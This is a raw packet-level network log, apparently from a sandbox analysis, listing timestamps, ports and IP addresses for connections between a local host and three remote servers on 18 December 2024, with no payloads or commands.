Dec 18, 2024 09:07:33.106457949 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.107336044 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.107461929 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.107494116 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.107551098 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.108306885 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.108354092 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.108381987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.108509064 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.109291077 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.109338045 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.109453917 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.109496117 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.110344887 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.110388994 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.110426903 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.110465050 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.111378908 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.111422062 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.111454964 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.111498117 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.112329006 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.112371922 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.112441063 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.112482071 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.113346100 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.113389969 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.113442898 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.113519907 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.114372969 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.114424944 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.114464045 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.114518881 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.115370989 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.115425110 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.115537882 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.115590096 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.116420031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.116475105 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.116482973 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.116683960 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.117415905 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.117466927 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.117499113 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.117541075 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.118408918 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.118537903 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.118598938 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.118638039 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.119606972 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.119699955 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.119705915 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.119831085 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.120466948 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.120517015 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.120547056 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.120589972 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.121512890 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.121566057 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.121613026 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.121753931 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.122462988 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.122507095 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.122526884 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.122565031 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.123482943 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.123548985 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.123584032 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.123626947 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.124459982 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.124504089 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.124659061 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.124696970 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.125464916 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.125504971 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.125638962 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.125677109 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.126483917 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.126532078 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.126589060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.126629114 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.127535105 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.127574921 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:35.406306982 CET	49719	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:35.406903982 CET	49723	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:35.526325941 CET	80	49719	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:35.526354074 CET	80	49723	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:35.526392937 CET	49719	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:35.526448965 CET	49723	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:35.526653051 CET	49723	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:35.646383047 CET	80	49723	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:36.582593918 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:36.582851887 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:36.582918882 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:36.590109110 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:36.590121984 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:36.857047081 CET	80	49723	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:36.857152939 CET	49723	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:36.858444929 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:36.858717918 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:36.883008957 CET	49725	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:36.883074999 CET	443	49725	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:36.883213043 CET	49725	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:36.883774996 CET	49725	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:36.883800030 CET	443	49725	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:36.978390932 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:36.978468895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:36.978512049 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:36.978708029 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:36.996366978 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:37.116029024 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.095710039 CET	443	49725	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:38.095803976 CET	49725	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:38.097215891 CET	49725	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:38.097244978 CET	443	49725	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:38.097634077 CET	443	49725	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:38.099143028 CET	49725	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:38.099184990 CET	49725	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:38.099250078 CET	443	49725	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:38.307538986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.307600021 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.307611942 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.307666063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.307666063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.307742119 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.307756901 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.307782888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.307792902 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.307805061 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.307813883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.307830095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.307849884 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.307876110 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.308089018 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.308099985 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.308152914 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.308152914 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.427479982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.427540064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.427551985 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.427726030 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.431606054 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.431685925 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.498488903 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.498667955 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.498963118 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.499013901 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.501149893 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.501163006 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.501233101 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.509385109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.509438038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.509459019 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.509490967 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.517750025 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.517791986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.517808914 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.517870903 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.526195049 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.526252985 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.526273012 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.526339054 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.534470081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.534532070 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.534661055 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.534709930 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.542846918 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.542910099 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.542949915 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.543000937 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.551309109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.551351070 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.551418066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.551486969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.559652090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.559726954 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.559837103 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.559887886 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.568065882 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.568120956 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.568270922 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.568335056 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.575628996 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.575683117 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.575858116 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.575977087 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.618377924 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.618411064 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.618438959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.618485928 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.622194052 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.622265100 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.689901114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.689919949 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.689976931 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.690009117 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.692130089 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.692305088 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.692365885 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.692439079 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.696845055 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.696903944 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.698472023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.698527098 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.698573112 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.698625088 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.703089952 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.703145027 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.703233004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.703283072 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.707824945 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.707835913 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.707887888 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.712311029 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.712373018 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.712430000 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.712483883 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.717063904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.717200994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.717219114 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.717253923 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.721954107 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.721966028 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.722013950 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.726341963 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.726416111 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.726511955 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.726562977 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.731002092 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.731060028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.731100082 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.731149912 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.735508919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.735560894 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.735580921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.735630989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.740113974 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.740185976 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.740295887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.740344048 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.745024920 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.745043993 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.745091915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.745091915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.749361038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.749425888 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.749464989 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.749511957 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.753093958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.753166914 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.753242970 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.753292084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.756763935 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.756776094 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.756822109 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.760319948 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.760375977 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.760387897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.760437012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.763894081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.763964891 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.763989925 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.764038086 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.767553091 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.767604113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.767642975 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.767688990 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.771378040 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.771389961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.771433115 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.771433115 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.774848938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.774862051 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.774909973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.814735889 CET	443	49725	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:38.814876080 CET	443	49725	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:38.815011978 CET	49725	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:38.815131903 CET	49725	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:38.815131903 CET	49725	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:38.815177917 CET	443	49725	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:38.815206051 CET	443	49725	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:38.880873919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.880965948 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.881071091 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.881228924 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.882251024 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.882328033 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.882407904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.882453918 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.884984970 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.885045052 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.885122061 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.886643887 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.887908936 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.887921095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.887970924 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.890837908 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.890850067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.890899897 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.890935898 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.893534899 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.893575907 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.893625021 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.893657923 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.896249056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.896260023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.896311045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.898555994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.898680925 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.898706913 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.898740053 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.900990963 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.901259899 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.901316881 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.903461933 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.903619051 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.903650999 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.903685093 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.906050920 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.906061888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.906110048 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.908555984 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.908567905 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.908632040 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.911340952 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.911351919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.911408901 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.913669109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.913680077 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.913764954 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.915883064 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.916032076 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.916065931 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.916098118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.918530941 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.918544054 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.918600082 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.920902967 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.920918941 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.920959949 CET	49724	80	192.168.2.8	31.41.244.11
